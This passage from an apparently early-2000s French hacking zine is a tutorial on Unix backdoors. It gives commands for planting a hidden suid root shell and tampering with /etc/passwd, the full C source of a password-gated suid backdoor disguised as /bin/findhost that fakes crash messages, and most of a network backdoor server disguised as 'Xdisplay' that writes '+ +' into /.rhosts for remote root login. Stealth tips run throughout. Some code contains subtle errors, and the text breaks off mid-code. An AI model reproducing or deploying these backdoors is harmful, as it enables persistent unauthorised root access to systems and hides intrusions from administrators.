simples users avec les privilèges root. Un exemple concret, l'exécutable "password" qui se situe généralement dans /bin. La commande "password" qui invoque cet exécutable est utilisée par un user pour changer le mot de passe presonnel attribué à son compte. Lorsqu'il l'utilise, il est invité à entrer son ancien mot de passe pour s'authentifier, puis a entrer le nouveau. Le problème est que cette commande doit apporter des modifications dans le fichier de mot de passe qui n'est autre que le célèbre /etc/passwd ou /etc/shadow le cas échant. Seulement ces fichiers sont en écriture uniquement pour le root et ne peuvent donc pas en théorie être modifiés par un processus utilisateur. C'est là qu'intervient la notion de SUID. Le terme "SUID" est la contraction de "set-uid". Lorsque un exécutable est "suid", il peut être exécuté par tous, avec les privilèges (uid) de son propriétaire. Dans notre exemple, le propriétaire de /bin/passwd est le root, uid=0. Si ce programme est suid, cela signifie qu'il sera exécuté avec les privilèges du propriétaire, donc uid=0, ou plus exactement que même s'il est lançé par un simple utilisateur, le processus aura les privilèges root durant son exécution. De cette manière, /etc/passwd poura être modifié par un processus utilisateur. Dans la pratique, la notion de suid se matérialise par la présence d'un bit "s" dans le listing des fichiers : [user@localhost]$ ls -al /bin/passwd -rwsr-sr-x 1 root root 12345 01 Oct 20:32 passwd [user@localhost]$ On voit que le bit "s" prend la place du bit "x" d'exécution. Bon, ça c'est pour le premier "s", mais alors, pourquoi y en a t-il 2 ? Eh bien tout simplement parce que le second "s" est le bit "SGID" qui signifie "Set Group ID" ou "Donne l'ID du groupe". Lorsque ce bit est présent, il donne au processus le gid du groupe auquel appartient le propriétaire de l'exécutable. Dans notre exemple, le bit sgid est présent donc le processus engendré par l'exécution du programme aura les privilèges du groupe root. Le fait qu'un utilisateur puisse lançer un processus avec les droits du root n'est pas sans risque. Dans notre exemple, les droits du root ne seront cédés que pendant le laps de temps de l'exécution de la commande. Mais s'il était possible de faire exécuter à un programme suid une une autre commande, et cela avec les droits du root ... Les exécutables suid dont on peut abuser sont à l'origine de nombreux exploits. Imaginez maintenant que l'exécutable suid soit un shell, c'est à dire un interpréteur de commandes. Dans ce cas, le shell aurait les privilèges du root durant son exécution, c'est à dire que tout les commandes entrées au prompt de ce shell seraient exécutées en root ... C'est une autre forme de backdoor trés simple apellée "shell suid". [ Le shell suid ] Comme nous l'avons dit, cette backdoor consiste à rendre un shell suid et faire en sorte que ce shell soit la propiété du root si ce n'est pas déja le cas. Pour cela, il suffit de copier un shell ( sh, bash, csh, tcsh ... ) dans un dossier et de le rendre suid. La commande utilisé a une syntaxe assez simple. Il s'agit de chmod. Chmod signifie "change mode". C'est la commande qui va permettre de changer le mode, les permissions de notre shell. Nous n'allons pas entrer dans les détails de la commande chmod, mais on va simplement rapeller sa syntaxe à travers un exemple. Ici, nous allons créer un shell suid en copiant le shell /bin/sh dans /bin sous le nom de shell. Notre backdoor sera suid et passera donc plus inaperçue dans la foule d'autres exécuatbles suid que dans /tmp ou autre. Voici comment on va s'y prendre. [root@cible.com]# cp /bin/sh /bin/shell [root@cible.com]# chmod a+s /bin/shell [root@cible.com]# Chmod, apellé avec l'argument a+s va rendre suid /bin/shell pour tout le monde ('a'='all'). Pour enlever le bit suid, la commande aurait été apellée avec "a-s". L'équivalent en utilsant les chiffres plutôt que les symboles serait : [root@cible.com]# cp /bin/sh /bin/shell [root@cible.com]# chmod 7555 /bin/shell [root@cible.com]# Cela revient au même. Dans le cas présent je trouve plus simple la formulation "a+s" ( qui d'ailleurs peut s'abréger "+s" ). L'avantage d'utiliser l'écriture chiffrée apparait lorsque l'on est ammené à manipuler plusieurs modes en même temps. C'est à vous de choisir entre l'une et l'autre écriture. Nous allons donc copier notre shell dans /tmp/shell et le rendre suid. Voici comment utiliser cette backdoor : [root@cible.com]# whoami root [root@cible.com]# cp /bin/sh /tmp/shell [root@cible.com]# chmod +s /tmp/shell [root@cible.com]# exit [user@cible.com]$ whoami user [user@cible.com]$ pwd /home/user [user@cible.com]$ ls -al /tmp/shell -rwsr-sr-x 1 root root 12345 01 Oct 21:30 shell [user@cible.com]$ cd /tmp [user@cible.com]$pwd /tmp [user@cible.com]$./shell [root@cible.com]# whoami root [root@cible.com]# Une variante : Parmi les différentes sortes de shell existant ( sh, bahs, csh, tchs, ksh ) il se peut que tous ne soient pas disponnible. Dans notre exemple, on va dire que ksh n'existe pas. Dans ce cas, en tant que root, vous copiez /bin/sh sous /bin/ksh et vous le rendez suid. Puis vous repérez un utilisateur que ne s'est jamais connecté ou pas depuis longtemps, vous éditez le fichier passwd et modifiez la ligne correspondante au compte de cet utilisateur, vous enlevez son mot de passe et changez son shell en /bin/ksh, puis vous changez la date de modification du fichier passwd. De cette façon, vous pourrez vous connecter sur un shell suid sous l'identité d'un utilisateur x sans mot de passe. C'est une utilisation sympathique mais qui risque d'être vite repéree si l'admin vérifie méthodiquement les entrées du fichier passwd. Voila, nous avons fait le tour du sujet, vous savez à présent ce qu'est un shell suid et comment il s'utilise. Nous allons par la suite nous intéresser à la programmation d'une backdoor toujours trés simple, mais qui demande quand même quelques conaissances en C. Alors me direz vous, pourquoi avoir parlé pendant 5Ko de shell suid, vu qu'on ne va pas en parler dans le reste de cet article ? Eh bien tout simplement parceque notre future backdoor devra elle aussi être suid pour fonctionner. Donc si vous avez pigé la notion de SUID grace à l'exemple du shell, alors c'est tout benef pour la suite. [ UID réel et UID effectif ] L'uid réel est l'id qui est attribuée à l'utilisateur au début de la session. C'est son identifiant de login. C'est le n° d'identification sous lequel le système nous connait. Il peut cependant être modifié, c'est le cas lors de la commande su. En effet, lorsqu'on fait un "su", on substitue notre id par celui d'un autre utilisateur ou par celui du root. Lors d'un su root, notre uid réelle sera donc celle du root, c'est à dire 0. L'uid effectif, encore notée euid, est l'id que l'on possède temporairement, dans une situation précise. C'est l'id qui est effectif à un instant t. Dans une situation normale, uid et euid, uid réel et effectif, son identiques. Mais lorsqu'on exécute un programme suid, comme /bin/passwd que nous avons vu plus haut, on endosse l'uid du root, le temps que la commande soit exécutée. A cet instant précis, notre uid réel est toujours la même mais notre euid est à 0. Pour vous donnner un exemple, compilez ce qui suit : ------------------------8<------------------------------------------------------------------- #include #include int main () { printf("\nUID = %s\t GID = %s\t EUID = %s\n", getuid(), getgid(), geteuid()); return 0; } ------------------------8<------------------------------------------------------------------- ( On reviendra dans le prochain chapître sur les fonctions getuid() ). En admettant que vous soyez : user:*:500:20: Vous :/home/user:/bin/sh Dans ce cas, votre uid est 500 et votre gid est 20. Vous compilez et exécutez le programme d'exemple : [user@localhost]% gcc exemple.c -o exemple [user@localhost]% ./exemple UID = 500 GID = 20 EUID = 500 [user@localhost]% Vous voyez donc qu'à cet instant, votre uid effectif est le même que votre uid réel. Maintenant, exécutez le en tant que root : [user@localhost]% su Password : [root@localhost]# whoami root [root@localhost]# ./exemple UID = 0 GID = 0 EUID = 0 [root@localhost]# Le su vient de plaçer votre uid/gid à 0. On voit, dans ce cas, que l'uid effectif est le même que l'uid réel, à savoir 0. Maintenant, rendez le suid root, et exécutez à nouveau en tant que "user" : [root@localhost]# whoami root [root@localhost]# [root@localhost]# chown root exemple [root@localhost]# chgrp root exemple [root@localhost]# chmod +s exemple [root@localhost]# ls -al exemple -rwsr-sr-x 1 root root 12345 14 0ct 12:12 exemple [root@localhost]# exit [user@localhost]% whoami user [user@localhost]% ./exemple UID = 500 GID = 20 EUID = 0 [user@localhost]% Ici, l'euid est à 0. En fait, lorsqu'on exécute un programme suid, nous avons les privilèges du root le temps de l'exécution, et pendant ce laps de temps, notre euid est à 0 tandis que notre uid réel reste inchangé. Notre backdoor devra être suid root, dans le cas contraire, elle serait mal installée et ne pourrait pas fonctionner. Il faut donc contrôler qu'elle soit bien suid et nous verrons comment faire dans la suite. Voila, on à fait le tour de toutes les notions à connaître et on va pouvoir entrer dans le vif du sujet. Partie II : Programmation __________________________ Maintenant que nous savons ce qu'est une backdoor est comment elle fonctionne, nous allons voir comment en programmer une de notre cru. On va parler ici de la "setuid" backdoor. Nous avons donc besoin de quelques notions de programmation pour y parvenir. Mais tout dabord, faisont la liste de ce dont nous avons besoin. [ Objectifs ] Nous voulons un programme : - qui soit discret ... - qui soit suid - qui nous donne uid/gid 0 - qui nous donne un shell avec les privilèges root OK, le programme n'est pas compliqué mais il requiert certaines fonctions qu'on ne peut pas inventer ... 1) Notions utiles : __________________ [ Un uid 0 ] Nous voulons pouvoir exécuter des commandes en tant que root, et le mieux est de le faire via un shell. Ce shell doit être exécuté avec les privilèges root, c'est à dire avec un uid à 0. Il existe en C une fonction qui se charge de changer notre uid par un autre qu'on lui spécifie. Mais le système ne laissera pas un processus utilisateur, en l'occurence notre backdoor, changer notre uid contre celle du root. Si notre backdoor est exécutée avec les droits d'un simple utilisateur, le changement d'uid ne pourra pas se faire. En revanche, si notre exécutable est suid root, le processus aura les privilèges root durant son exécution. Durant ce laps de temps, le changement d'uid pourra être demandé avec succès. C'est pourquoi notre backdoor devra être suid et appartenir au root. La fonction qui se charge de modifier notre uid est "setuid();" . [ setuid(), setgid() ] La fonction "setuid();" sert à fixer notre uid. Elle est décrite dans le header . Sa sysntaxe est : #include setuid ( uid_t uid ); Comme le programme sera suid, la fonction sera exécutée avec les droits du root et poura donc fixer notre uid à 0. Une fonction analogue est setgid(); laquelle permet de modifier notre gid. Sa syntaxe est identique. Ce sont ces deux fonctions qui permettent de modifier notre uid/gid en leur substituant ceux du root. On va donc écrire : setuid(0); setgid(0); Une fois nos uid/gid fixés, nous devons exécuter un shell. [ system(); ] La fonction system(); permet d'exécuter une commande de notre choix. Dans cette situation, notre choix va se porter sur un shell. On va donc demander à la fonction system de nous exécuter le shell bash. Sa syntaxe est : #include int system (char *commande); Nous allons lui demande d'exécuter un shell ce qui va donner : #include #define cmd "/bin/bash" system(cmd); Comme les fonctions setuid()/setgid() auront mis notre uid/gid à 0 juste avant, notre shell sera exécuté avec les droits du root. [ Les arguments ] Nous voulons un programme qui soit assez discret de manière à ce que l'admin ne le découvre pas. Il doit donc porter un nom crédible, et faire illusion. On peut lui donner un nom comme "display" ou "findhost" et pourquoi pas le mettre suid dans /bin ce qui revient à créer un nouvelle commande. Le mieux est de faire en sorte qu'il ne fournisse un accès root que lorsqu'il est apellé avec un certain argument. Dans le cas contraire, il devra simuler un erreur du genre de "Bus error" ou encore "Segmentation Fault". Il y aura un argument à entrer sur la ligne de commande donc le main doit être apellé par : int main ( int argc, char *argv[] ) où argc signifie "argument count", est de type int et désigne le nombre d'arguments de la ligne de commande. Ici, argv[] est un pointeur de type char qui pointe sur un tableau ... de pointeurs. Il signifie "arguement vector". Donc, argv[0] désigne l'exécutable en lui-même, et argv[1], le premier argument. Comme il n'y aura qu'un argument à entrer, argc=2 car l'argument 0, le programme est aussi à prendre en compte comme élément de la ligne de commande. Notre backdoor devra donc contrôler le nombre d'arguments : if (argc!=2){ fprintf(stderr,"Usage : %s option\n", argv[0]); exit(1); } Ce message sera affiché si le programmme est lançé sans argument, ou avec trop d'arguments, donc si le nombre d'arguments est différent de 2 ( le prog + 1 argu ). La fonction fprintf(); sert ici à affichier le texte sur la sortie d'erreur ("stderr") qui est par défaut l'écran. Une fois le nombre d'arguments controlé, on doit comparer l'argument définit comme mot de passe avec l'argument entré sur la ligne de commande. S'il s'agit du bon argument, le programme donnera un shell avec les privilèges root, dans le cas contraire, vous obtiendrez un message d'erreur crédible. [ strcmp (); ] La fonction strcmp(); signifie "string compare" et à pour role de comparer le contenu de deux varaibles ou de deux chaines de type char. Cette fonction retourne la valeur 0 lorsque les chaînes sont identiques. Elle est définie dans le header et sa syntaxe est : #include char chaine1, chaine2; strcmp( chaine1, chaine2 ); On va donc pouvoir comparer l'argument fourni à la ligne de commande argv[1] avec le mot de passe que l'on aura défini au préalable. #include #include #define password "fox" /* Si l'argument est le bon mot de passe */ if(strcmp(password, argv[1])==0){ /* alors donne le shell root */ } /* Sinon ... */ else { /* ... erreur */ fprintf(stderr,"Segmentation Fault\n"); exit(1); } Dans cet exemple, pour obtenir un shell avec les privilèges root, il faut exécuter notre backdoor avec l'argument "fox". Dans le cas contraire, on obtient un vrai faux message d'erreur. En somme, notre programme se fait passer pour un exécutable tout ce qu'il y a de plus classic mais ne fait office de backdoor que si vous possédez le bon mot de passe. [ SUID ] Nous savons que pour fonctionner, notre backdoor doit être suid root. En pratique, cela veut dire que nous pouvons l'exécuter avec les droits du root, et qu'à ce moment précis, notre euid, uid effectif doit se trouver à 0. Si ce n'est pas le cas, cela signifie que notre backdoor n'est pas suid root et a mal été installée ; ce n'est plus la peine de continuer car de toute façon, elle ne pourra pas fournir les services attendus. [ getuid(), getgid(), geteuid() ] De la même manière qu'il existe les fonction setuid() pour plaçer notre uid à la valeur que l'on désire, il en existe d'autres servant à mesurer la valeur de notre uid/gid/euid : getuid() retourne la valeur de notre uid. getgid () retourne la valeur de notre gid. geteuid() retourne la valeur de notre euid. Ces fonctions s'exécutent toujours avec succès, et ne commettent jamais d'erreur. Elles sont décrites dans le header . Pour contrôler que notre euid soit bien à 0 lors du début de l'exécution de notre backdoor, nous allons donc utiliser : #include if (geteuid()!=0){ printf("Error\n"); exit(1); } Ainsi, dans le cas où notre programme serait mal installé, le programme mettra fin de lui même à son exécution. Une fois cette vérification effectuée, et si tout s'est bien déroulé, le programme poursuit normalement. Voila, on vient de voir les différentes étapes de la programmation de cette backdoor, je vous donne le code source entier juste aprés ça : 2) Installation : _________________ Vous êtes root et vous avez la source de votre backdoor. On va donc la compiler et rendre suid l'exécutable avant de le dissimuler. J'ai baptisé la backdoor "comeback.c" ... [root@cible.com]# gcc comaback.c -o come [root@cible.com]# mv come /bin/findhost [root@cible.com]# chmod +s /bin/findhost [root@cible.com]# rm comeback.c [root@cible.com]# ls -al /bin/findhost -rwsr-sr-x 1 root root 12345 01 Oct 12:15 findhost [root@cible.com]# exit [user@cible.com]$ whoami user [user@cible.com]$ findhost Usage : findhost option [user@cible.com]$ findhost essai Segmentation Fault [user@cible.com]$ findhost fox Comeback v1.0 by neo_fox [IOC] [root@cible.com]# Une installation tout ce qu'il y a de plus simple ! 3) Comeback.c : _______________ Comme promis voici le code source complet : -------------8<--- cut here -------------------------------------------------------------- /* Comeback.c by NeoFox - © 2002 [IOC] - */ #include /* printf, fprintf */ #include /* strcmp */ #include /* setuid, setgid */ #define password "fox" /* As you want ... */ #define command "/bin/sh" /* Our shell */ #define MSG "\033[1;31mComeback v.2 by neofox [IOC]\033[0m\n" int main ( int argc, char *argv[] ) { / * Only one argument ! */ if (argc!=2){ fprintf(stderr,"Usage : %s option\n", argv[0]); exit(1); } /* Checking password ... */ if (strcmp(password, argv[0])==0){ /* the backdoor must be suid root */ if(geteuid()!=0){ fprintf(stderr,"Comeback is not SUID Root, exit !\n"); exit(1); } /* Allright, let's go ! */ fprintf(stdout,MSG); setuid(0); setgid(0); system(command); } else { /* Sorry ! */ fprintf(stderr,"Segmentation Fault\n"); exit(1); } return 0; } -------------8<--- cut here -------------------------------------------------------------- [ Conclusion ] Voila, en espérant que vous ayez appris quelque chose de ce texte ... Je vais conclure comme d'habitude en vous disant que si vous avez des questions, des suggestions ou des remarques à me faire parvenir, n'hésitez pas à me mailer ou prenez rendrez-vous avec ma secrétaire ! neo_fox_2001@hotmail.com UIN #130722451 NeoFox --------------------------------------------------------------------------------------------- VI. Backdoors & Prog réseau par NeoFox --------------------------------------------------------------------------------------------- [ Introduction ] Bien que la technique soit connue, j'avoue ne jamais avoir trouvé de textes expliquant cette dernière en détail. Je vous propose donc un tutorial sur l'utilisation de la programmation "réseau" dans le but de grader l'accès à un système. En d'autres termes, on va parler de backdoors basées sur le principe client/serveur, et nous allons voir également comment les mettre en oeuvre. Cela requiet déja certaines compétences, aussi j'attends de vous d'avoir quelques connaissances en Prog C, Unix et TCP/IP. On va commençer par voir dans un premier temps le principe de cette backdoor puis comment la programmer, fallait s'y attendre. Bonne lecture et rendez-vous dans 25 Ko ! - | Part I : Principe | - -> fonctionnement -> Utilisation A. Vous avez dit Backdoor ? (bis) : ___________________________________ Pourquoi se compliquer la vie avec une backdoor client/serveur alors que l'on peut se contenter d'un shell suid ou d'une setsuid backdoor ? Eh bien je pense que si vous lisez ceci, c'est que comme moi vous préférez la difficulté à la simplicité non ? [ Oups ... ] On est venu, on a vu, on a vaincu ( quoi que ... ), pis on est reparti. Au passage, on a plaçé deux ou trois backdoors : un shell suid et une setuid backdoor. L'admin à découvert notre présence sur sa machine et à patché la faille qui nous a laissé entrer, il a aussi changé tous les mots de passe, et il s'est rendu compte que /bin/findhost ... ben, ça existe pas et à donc viré notre setuid, pis dans la foulée, le shell suid planqué dans un .term d'un homedir. En résumé, vous n'avez plus l'accès root, et d'ailleurs, cela ne vous servierait à rien vu que vous n'avez même plus d'accès du tout ! Plus d'accès ni par telnet car les pass on été changés, ni par rlogin car il n'y a plus de fichiers .rhosts nulle part. C'est dans un cas comme ça qu'on voit l'utilitée d'une backdoor sous forme d'un serveur, qui, lançé en root, en local, sur la cible, exécuterait pour nous des commandes de niveau root lorsqu'il serait activé à distance. Ce serveur vous permettrait de retrouver directement un accès root même si on vous a repris votre account sur la machine. [ Allo, j'écoute ?! ] Jusqu'ici j'ai parlé d'une backdoor basée sur un principe de client/serveur, mais toute la backdoor n'est enfait constituée que d'un serveur dont le rôle sera d'exécuter certaines commandes lorsqu'une connection aura lieu sur un port donné. Notre serveur doit donc ouvrir un port, puis écouter ce port, et attendre qu'une connection soit établie dessus. A partir de là, le serveur se contente d'exécuter une commande particulière et mets fin à la connection. Dans la suite de cet article, on va apprendre à programmer un mini serveur qui ouvrira un port et exécutera une commande en remote lorsqu'une demande de connection y arrivera. [ Et le client dans tout ça ? ] Si on sait ce qu'il en est du serveur, en revanche, on a pas encore parlé du client. De deux choses l'une : vous pouvez coder un petit programme qui se connecte au port de la machine sur lequel le serveur est en écoute, mais dans notre cas, on peut tout aussi bien utiliser Telnet. En admettant que le serveur écoute le port 1407, un petit : % telnet host.cible.com 1407 suffierait à faire exécuter notre commande au serveur, aprés quoi, ce dernier met fin à la session et continue à écouter le port dans l'attente d'une autre connection. [ Les comandes ] Quelles sont les commandes que l'on peut faire exécuter à notre serveur ? Tout dépend de ce que vous voulez faire. Vous pouvez créer un nouvel utilisateur avec un uid/gid à 0 mais le mieux, pour une question de discrétion est de créer un /.rhosts. [ Vérifications ] Avant de commençer il faudra contrôler que le programme soit apellé sans argument et qu'il est soit exécuté par le root, ou dumoins qu'il soit suid root. On vérifiera donc en premier lieu qu'il n'y a pas d'arguement. On vérifiera ensuite qu'on ait bien les privilèges root au moment où notre exécutable sera lançé. A ce moment là, notre id effective devra être à 0. En effet, un /.rhosts ne pourra pas être crée par un processus utilisateur mais seulement par un processus root, d'où l'intêret que le serveur soit "lançé en root". Pour plus d'explications sur les uid effectives et réelles, reportez vous à mon article "Backdoors, concept & réalisation" . [ Backserv ] Pour illustrer mes propos, je vais m'appuyer sur un code source que j'ai apellé "backserv.c". Pourquoi backserv ? eh bien parcequ'il s'agit d'une backdoor sous forme de serveur, tout simplement. B. L'utilisation : __________________ [ Installation ] Le but du jeu, lorsqu'on a le root, est d'installer sa backdoor le plus discrétement possible. On complie la backdoor, on vire le source et on plaçe l'exécutable dans un répertoire peu fréquenté, genre /dev ou autre, à partir de la, on la lançe en arrière plan, puis on peut se casser. Vu qu'il a été lançé en root, on pourra lui faire exécuter en remote des commandes de niveau root. Il faut auparavant regarder la liste des processus qui tournent en arrière plan afin de donner un nom crédible à notre exécutable. Ici on va prendre "Xdisplay". Voici comment proceder : [root@cible.com]# whoami root [root@cible.com]# pwd /dev/xdb57 [root@cible.com]# ls backserv.c [root@cible.com]# ps aux <- "ps -aux" trés simplifié USER PID COMMAND root 1 init nobody 250 identd root 4230 bash [root@cible.com]# gcc backserv.c -o Xdisplay [root@cible.com]# chmod 655 Xdisplay [root@cible.com]# ls -al -rwxr-xr-x 1 root root 12345 12 Oct 12:12 Xdisplay -rw-rw-rw- 1 root root 12345 12 Oct 12:02 backserv.c [root@cible.com]# ./Xdsiplay& [1] 4236 [root@cible.com]# ps aux USER PID COMMAND root 1 init nobody 250 identd root 4230 bash root 4236 Xdisplay <- On voit le processus de notre backdoor [root@cible.com]# rm -f backserv.c [root@cible.com]# exit [user@cible.com]% exit <- On vire le source et on se casse Voila, notre serveur est installé, et lançé en root. A partir de ce moment là, un port est ouvert sur la machine cible et le serveur écoute ce port. Lorsqu'une connection arrivera sur ce port, le serveur exécutera ses instructions avec les privilèges root. [ Utilisation ] Nous avons installé notre backdoor, en écoute au port 1407. L'avantage de cette forme de backdoor est qu'elle peut être activée soit en local, soit à distance. Pour activer notre engin, jusque là en standby, il nous faut nous connecter au port 1407. Dans cet exemple, on va le déclancher en remote en utilisant Telnet : [nous@localhost]% telnet cible.com 1407 Trying 123.25.6.25 Connected to cible.com Escape character is '^]'. ------------------------- - © 2002 IOC - Creating /.rhosts ... OK, exiting ! ------------------------- Connection closed by foreing host [nous@localhost]% Voila, un petit message d'acceuil nous informe que la connection est établie avec notre serveur et que le fichier .rhosts est crée, puis la connection est interrompue. L'utilisation est simple et efficace. [ Resumé ] Avant de passer à l'aspect programmation, on va récapituler. Il nous faut un serveur lançé en root qui : - ouvre un port - attend une connection - accepte la connection - nous fait livrer une pizza - exécute notre commande - met fin à la connection Soit autant de fonctions à utiliser ... On va voir tout ça en détail dans un instant. - | Part II : Programmation | - -> Notions nécessaires -> Prog. pas à pas -> backserv.c Là où je vais m'efforcer d'expliquer chaque petite subtilité de la manoeuvre, d'autres se seraient contentés de décrire grossièrement un code, question de point de vue ... A. Notions nécessaires : ________________________ On va parler maintenant des bases de programmation nécessaires à la conception de notre outil, et on va pour ce faire, dresser la liste des fonctions que nous allons utiliser en fonctions justement de ce que nous attendons de notre backdoor. Le mieux dans notre cas est d'examiner les différentes fonctions dans l'ordre dans lequel elles vont intervenir. [ En cas d'erreur ] Dans un souci de présentation, on va gérer les erreurs éventuelles de chaque fonction en même temps que les fonctions elles mêmes. La fonction perror() va nous aider. Sa syntaxe est : #include perror( char *message); Cette fonction permet en cas d'erreur d'afficher un message personnalisé. [ geteuid() ] Les commandes qui sont destinées à être exécutées par la backdoor doivent l'être en tant que root. Le système ne laissera pas un processus utilisateur créer un /.rhosts, et c'est donc en tant que root que nous devrons lançer notre backdoor. Je me répete là non ? Toujours est il qu'il faudra donc l'avoir bien installé. Tout cela pour vous dire qu'au moment précis de son exécution, notre id effective ou euid devra être à 0. La fonction geteuid() permet de saisir cette valeur afin de la controler : #include geteuid( uid_t uid ); En pratique, on obtiendra : #include /* Si t'es pas root, tu dégage !*/ if (geteuid()!=0){ fprintf(stderr,"Only root can run this !\n"); exit(1); } Si notre id effective n'est pas 0, le serveur ne sera pas autoriser à créer un /.rhosts et ce n'est même pas la peine d'aller plus loin, donc exit. Ces quelques lignes permettent donc de vérifier que l'on soit bien root au moment de la lançer. [ Le vif du sujet : socket() ] Les sockets permettent à deux processus situé sur deux machines distantes de communiquer. Ils définissent quels protocoles doivent entrer en jeu et cela en fonction du type de réseau sur lequels on se trouve. Sur un réseau qui exploite TCP/IP, les protocoles qui vont entrer en action sont IP et TCP ou UDP. La fonction socket() a pour rôle de créer le socket en spécifiant les protocoles utilisés. Sa syntaxe est : #include #include socket( int family, int type, int x); Le paramètre family : Il prend la valeur AF_INET lorsque on utilise le portocole Internet. Le paramètre type prend la valeur : SOCK_STREAM lorsque l'on va communiquer sous TCP. SOCK_DGRAM lorsque c'est UDP qui prend en charge la transmission. SOCK_RAW lorsqu'on forge soi même ses propres paquets. Dans notre cas, nous allons communiquer sous TCP et la valeur du paramètre type sera par conséquent SOCK_STREAM. Enfin, le paramètre x correspond à un protocole additionnel, dont je sais peu de choses sinon que sa valeur est généralement de 0. le socket est donc défini par : #include #include int sock; sock=socket( AF_INET, SOCK_STREAM, 0); Si la création du socket s'est déroulée sans problèmes, la valeur 0 est retournée. Dans le cas contraire, si une erreur survient, on obtient le code -1. Voici comment gérer le code d'erreur tout en créant le socket : #include #include #include int sock; if ((sock=socket( AF_INET, SOCK_STREAM, 0))==-1){ perror("socket"); exit(-1); } Si la valeur de l'identifiant "sock" du socket est de -1, l'erreur est traitée par perror, dans le cas contraire, donc tout s'est bien déroulé et le socket est crée. [ bind() ] La fonction bind sert à définir la manière dont devra être acceptée la connection. Elle désigne le socket à utiliser, le numéro de port à ouvrir et les adresses d'ou peuvent être acceptées les connections. Pour cela, la fonction bind prend pour argument le socket, une structure de type "sockaddr_in" et la longueur de cette structure. Les headers à inclure sont et . Le synopsis de cette fonction est : #include #include int sock; struct sockaddr_in strucutre; bind (sock, (sockaddr_in *)&structure, sizeof(structure)); En cas d'erreur bind() retourne -1. [ La strucutre locale ] La structure utilisée par bind() renseigne sur l'hôtre local, en l'occurence notre cible, la machine sur laquelle nous allons installer la backdoor. Cette structure comporte plusieurs champs qu'il nous faut renseigner : => le champ sin_family qui déisgne la famille de protocoles a utiliser. => le champ sin_port qui désigne le port à ouvrir et écouter. => le champ sin_addr.s_addr qui désingne la machine qui aura droit de se connecter à ce port. Pour remplir un champ de la structure 'structure' on procède comme suit : structure.nom_du_champ = valeur Comme notre structure est relative à l'hôte local, on va l'apeller 'local' ce qui va donner les champs suivants : local.sin_family local.sin_port local.sin_addr.s_addr Avant de remplir notre structure, il faut au préalable initialiser les champs à 0. C'est la fonction bzero() qui s'en charge. Son synopsis est : #include bzero( void *s, size_t n ); Concrétement, cela se traduit par : #include bzero(&structure, taille ); Pour remplir les 10 premiers bits de la structure local : #include bzero(&local, 10); La taille de la structure 'local' est "sizeof(local);", logique. Donc pour remplir TOUTE la structure 'local', on utilise : #include bzero(&local, sizeof(local)); On peut maintenant renseigner les trois champs de notre structure locale : => Comme on utilise le protocole Internet, la valeur du champ sin_family est trés souvent, et c'est le cas ici, "AF_INET". Ce qui donne : local.sin_family = AF_INET; => La valeur du port à écouter est de type int mais doit être convertie en nombre binaire pour intégrer la structure utilisée par bind(). La fonction htons() se charge de cette conversion. Sa syntaxe est : #include htons( int port ); Ce qui nous donne un champ sin_port : #include #define PORT 1407 local.sin_port = htons(PORT); Attention, pour que bind puisse ovrir un port, il faut que celui-ci ne le soit pas déja. Choisissez un numéro de port > à 1024, du genre de ceux qui ne sont pas attribués. => Enfin, le champ sin_addr.s_addr désignant l'hôte autorisé à ce connecter doit être rempli avec la valeur INADDR_ANY ce qui signife que la connection sur ce port est autorisée quel que soit l'hôte client. Ainsi : local.sin_addr.s_addr = INADDR_ANY; En résumé, notre bind, une fois la structure déclarée et remplie, est : struct sockaddr_in local; bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr= INADDR_ANY; bind (sock, (struct sockaddr_in*)&local, sizeof(local)); Pour gérer le code d'erreur on procède ainsi : if (bind (sock, (struct sockaddr_in*)&local, sizeof(local))==-1){ perror("bind"); exit(-1); } Voila pour bind(), passons à la suite. [ listen() ] Voici la fonction qui intervient chronologiquement juste aprés bind(). Le rôle de listen() est de définir le nombre maximum de connection pouvant être acceptées et gérées en même temps par notre serveur. Ce nombre, aussi apellé "Backlog", dépend des capacités de la machine, en général, c'est une valeur entre 4 et 6. Lorsqu'une connection est sur le point d'être entamée, les segments TCP du client ont le flag SYN à 1 ( voir mon article sur TCP/IP ). Lorsque la demande de connection est effectuée, la connection attend d'être traitée par la fonction accept(). Si la backlog est de 5, la longueur de la file d'attente est de 5 connections. ( Voir l'article de Lex Icon sur le SYNFlooding ). Revenons à nos moutons ; listen() définit donc la taille de la backlog. Sa syntaxe est : #include listen( int socket, int backlog ); Dans notre exemple : #include #define BACKLOG 5 listen(sock, BACKLOG); On voit donc que la fonction listen() prend comme paramètres l'identifiant du socket et le backlog. [ while (1) ] Nous voulons que le serveur reste actif en permanence, même lorsque la connection avec le client sera interrompue. On va donc plaçer la suite du code dans une boucle while. La suite du code est justement la fonction accept() ... [ accept() ] La fonction accept va traiter les demandes de connection. Si aucune erreur n'est rencontrée, la connection est acceptée, dans le cas contraire, la valeur -1 est retournée. La syntaxe de la fonction accept est : #include #include accept( int socket, ( struct sockaddr_in *)structure, longueur); Dans notre cas, on va déclarer la fonction ainsi : #include #include int size, sock; struct sockaddr_in remote; size=sizeof(struct sockaddr_in); accept( sock, (struct sockaddr_in *)&remote, &size); On plaçera donc la fonction accept() dans la boucle dont nous avons parlé un peu plus haut. On a vu que la valeur -1 est retournée en cas d'erreur lors de l'ouverture de la connection. Voyons donc comment gérer les erreurs éventuelles : int new; if((new=accept(sock, (struct sockadd_in *)&remote, &size))!=-1){ /* La connection est établie * Il faut plaçer ici les commandes * a faire exécuter par le serveur */ } Voila, donc ici, on gère le code d'erreur en même temps que l'on ouvre la connection. Cette dernière étant établie, il ne reste plus qu'à écrire les commandes à faire exécuter. [ /.rhosts ] Dans mon exemple, nous allons créer un /.rhosts ce qui nous permettra de nous connecter en root par rlogin ou rsh. Le /.rhosts ne doit être présent que de manière temporaire et vous devrez le supprimer avant de partir. Ici le /.rhosts ne constitue pas une backdoor en lui même, voyez le plutôt comme une sorte de clef que vous utilisez pour ouvrir la porte du système ( belle métaphore filée, non ? ). Pour y revenir, vous n'aurez plus qu'à activer à nouveau le serveur. Enfin, là je m'écarte de l'aspect programmation ... Alors nos commandes : #include #include char buf[50]; sprintf(buf,"echo + + >> /.rhosts"); system(buf); Voila, à l'aide de sprintf() on écrit dans un buffer que l'on exécute ensuite grâce à la fonction system(). [ send() ] On peut affichier du texte sur l'écran pour prévenir que le fichier /.rhosts a bien été crée et donc que la connection s'est bien déroulée. On utilise pour cela la commande send(). Sa syntaxe est la suivante : send ( int socket, char *message, sizeof(message), 0); Je ne sais pas à quoi correspond le 0 ... Dans notre exemple, cela donne : int new; char msg[]="Votre texte\n"; if((new=accept(...))!=-1){ /* 